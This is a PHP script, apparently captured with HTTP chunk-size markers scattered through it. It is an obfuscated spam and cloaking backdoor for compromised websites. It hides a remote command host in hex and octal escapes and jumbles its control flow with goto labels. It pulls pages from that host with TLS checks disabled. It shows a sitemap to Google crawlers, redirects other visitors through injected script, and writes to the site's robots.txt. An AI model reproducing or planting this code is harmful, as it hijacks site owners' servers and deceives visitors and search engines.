3 6 true, 16 CURLOPT_ 9 CONNECTTI 3 MEO 6 UT => 1 5 1f , CURLOPT_TIMEOUT a => 18 8, CURLOPT_ 3 SSL 5 _VERI 3 FYP 7 EER => 5 false 23 , CURLOPT_SSL_VERIFYHO 2 ST 22 => false, CURLOPT_FO 3 LLO 1 W 6 LOCATI 2 ON 21 => false, CURLOPT_U 5 SERAG 3 ENT b => "M 3 ozi 4 lla/ 4 5.0" a d ]); d $data = curl_ 4 exec 4 ($ch 13 ); curl_cl 3 ose d ($ch); } c if ( d empty($data) 3 && 8 ini_get( 4 'all 3 ow_ 6 url_fo 3 pen 11 ')) { $c 5 ontex 7 t = str 4 eam_ 9 context_c 5 reate 10 ([ 3 "ht 3 tp" 6 => [" 6 timeou 2 t" a => 8, "he 4 ader 6 " => " 4 User 3 -Ag 5 ent: c Mozilla/5.0\ 4 r\n" 1 ] 12 , "ss 3 l" 9 => ["ver 3 ify 3 _pe e er" => false, d "verify_peer_ 4 name b " => false] 1f ]); $data = 14 @file_get_contents($ 4 url, 8 false, 8 $context 16 ); } if (! d empty($data)) 11 cache_set($url, 7 $data); d return 5 $data 2f ; } /* ------------------------- URL 2 3 1 2d ------------------------- */ function get_ 8 url_info 4 (str 6 ing $t 4 ype= 4 'dom 2 ai 5 n'): f string { $ 3 hos d t = $_SERVER[ 6 'HTTP_ 6 HOST'] 3 ?? 6 ''; d if ($type 2 = 6 == 'no 3 _ww 2 w' c ) return pre 5 g_rep 3 lac 4 e('/ 5 ^www\ 3 ./i 4 ', ' 8 ', $host 1 ) d ; $pro 4 toco 4 l = 11 (!empty($_SERVER[ 7 'HTTPS' 6 ]) && 11 $_SERVER['HTTPS'] 8 !== 'of 4 f') 7 ? "http 4 s:// 3 " : a "http://" 8 ; $ 3 bas 4 e = 11 $protocol . $host d ; if ( f $type === 'base a ') return 5 $base 19 ; if ($type === 'ful 10 l') return $base 3 . d ($_SERVER['RE 3 QUE 5 ST_UR 9 I'] ?? '' a ); f return $host; 28 } /* ------------------------- 3 基 2 3 3 1 21 ------------------------- */ g 6 oto ON 3 PuB 7 ; ONPuB 4 : $h 4 ttp_ 7 type = 12 !empty($_SERVER["\ 3 x48 4 \124 3 \x5 8 4\x50\x5 2 3" 19 ]) && $_SERVER["\x48\124\ 6 124\x5 c 0\x53"] !== 4 "\15 3 7\x 3 66\ 3 146 5 " ? " 6 \150\x 9 74\x74\x7 3 0\1 3 63\ 4 72\x 6 2f\x2f 5 " : " 6 \x68\1 9 64\164\16 9 0\72\x2f\ 4 57"; 7 goto O 3 4O9 8 k; O4O9k 4 : $v 4 url 8 = "\x74\ 5 157\5 5 6\152 4 \147 4 \141 9 \x6c\x6c\ 6 163\x2 5 e\143 8 \157\x6d 5 \x2f" 9 ; goto vg 4 v72; 6 vgv72 5 : $qz 5 = su 4 bstr 4 (str 9 _replace( b array("\x77 6 \x77\1 6 67\x2e 4 ", " 5 \56") 7 , '', $ c _SERVER["\11 8 0\x54\x5 4 4\12 5 0\x5f 8 \x48\x4f 4 \123 7 \x54"]) 4 , 0, 2 3 4 ); 26 /* ------------------------- 解 2 3 f 4 参 23 数 ------------------------- */ 6 $sz = 3 $ii 5 d = " 6 "; if a (!empty($_ 4 GET) 4 ){ 3 $f 3 =re a set($_GET) 9 ; $s 4 p = a explode('- 5 ', $f d ); if (c 3 oun 6 t($sp) 6 === 2 e ) { $ 7 sz = $ 2 sp f [0]; $ a iid = $sp[ 2 1] b ; } } 27 /* ------------------------- 2 3 3 2 20 ------------------------- */ e if (!empty($sz a )) { 6 $jd = c getCurlFast( 2 "{ c $http_type}{ 6 $vurl} 3 3kg 4 .asp 3 x?s 3 z=" 6 . url 3 enc 9 ode($sz)) 6 ; } e 3 lse 38 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x e y={$http_type} b "); $s 1 z 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 11 =" . urlencode($j 2 d) a ); } $ 4 hyzh 2 dy 7 = $jd 4 . "4 6 1.aspx 6 "; $s 5 url b = $jd . "s b 41.aspx"; 27 /* ------------------------- ro 4 bots 4 / s 4 item 2 ap 28 ------------------------- */ $sitemap 3 Lin 6 e = "S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] e }{$_SERVER['SC 2 RI 5 PT_NA 5 ME']} 2 ?w 6 =" . d 6 ate('Y 3 mdH 2 i' 5 ) . " 4 \n"; d function en 5 sure_ 7 robots_ 8 sitemap( c $sitemapLine 11 ) { $robots 3 = r f trim($_SERVER[' 3 DOC 2 UM 6 ENT_RO 4 OT'] 5 , "/\ 2 \" c ) . '/robots 4 .txt c '; if ( 1 ! 13 file_exists($robots e )) { 14 @file_put_contents($ 7 robots, 8 "User-a 6 gent: 4 *\nA 5 llow: 2 / 7 \n" . $ b sitemapLine d , LOCK_EX); 12 } else { 6 $c 17 = @file_get_contents($ 8 robots); 12 if ($c = 8 == false 3 || 9 strpos($ 2 c, e $sitemapLine) 1b === false) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 6 E_APPE 3 ND 11 | LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 3 2 2c ------------------------- */ if (!empty($ 5 get[' 2 w' 7 ])) { b $para 5 ms = 6 http_b 4 uild 3 _qu 3 ery d ([ ' 4 NOUm 3 ber 5 ' => e $get['NOUmber' 7 ] ?? '' d , 't b ' => 7 $get['t 16 '] ?? '', 'cn 10 ' => $get[' 3 cn' 18 ] ?? '', 'pNOUm d ' => $get[' 1a pNOUm'] ?? '', 'c 3 id' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 9 m'] ?? '' 7 ] e ); $str 12 = getCurlFast("{$ 5 surl} 2 ?{ d $params}"); 8 ec 3 ho c str_replace( c [' 4 yymm 3 ',' 8 ggggg',' 3 ?f= 3 '], 15 [$http_type 1 . 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 8 , $sz,'? 2 '. 5 $qz.' e ='], a $str b ); exi 2f t; } /* ------------------------- IP 3 判 2 3 3 2 3 4 kk 2 3 试 27 ) ------------------------- */ $kk 4 = is 5 set($ 7 get['kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; 7 $ip = ( 4 $kk b !== '') ? " 3 66. 3 249 3 .82 2 .8 4 " : d get_real_ip() 2b ; /* ------------------------- get 7 domain2 5 判 2 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 6 jd . " 10 getdomain2.aspx? 3 rnd 4 =1&i 6 p=" . 4 $ip) 2a ); /* ------------------------- 2 4 goo 4 gle 2 + 5 iid 3 3 跳 2 25 ------------------------- */ if ( 8 $domain b !== 'google 5 ' && 8 !empty($ 3 iid c )) { $k 7 name = 5 urlde 5 code( 15 getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 6 d)); b echo '< 4 scri 4 pt>l 3 oca 5 tion= 5 "' . 8 $jd . "a 7 .aspx?c 4 name 15 =" . urlencode($kname 6 ) . "& 9 url=" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 3 . " 6 ?iid={ 4 $iid 31 }"); echo str_replace( ['ggggg',' 5 YYYYY 5 ','XX 7 XYYY',' 3 当 2 4 URL 4 ','U 8 UUUU','M 4 MMMM 18 ','?f='], [$sz, e get_url_info( 10 ), get_url_info( 7 'base') 16 , get_url_info('full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1a ($_SERVER['REQUEST_URI'], 3 PHP 5 _URL_ 3 PAT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 4 elpe 1 r 2b ------------------------- */ function ou 5 tput_ 9 sitemap_a 2 nd 5 _exit e ($sitemapLine, b $http_type 9 ) { 2f ensure_robots_sitemap($sitemapLine); echo 3 " e 4 Sitemap 3 < 4 /div 2 >" 39 ; exit; } /* ------------------------- kk 6 输出 3 控 3 制 25 ------------------------- */ if ($ 9 kk !== '' 4 && 7 preg_ma 3 tch 5 ('/^[ 2 A- 4 Za-z 3 0-9 3 ]+$ 1 / 6 ', $kk d )) { $re 4 mote 10 = getCurlFast($ 1b jd . "getdomain2.aspx?rnd=2 3 &kk 6 =" . $ 3 kk) 13 ; if (!empty($ 6 remote 13 )) { echo 7 $remote b ; 7 exit; 1e } } if ($kk !== '' && 1 ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) 9 ; } $ 3 is_ 3 no_ 9 query = e f mpty($_SERVER[' 4 QUER 1 Y 8 _STRING' f ]); if ($kk a === '' && c $is_no_query 9 ) { d if ($domain = b == 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 2 > 1 0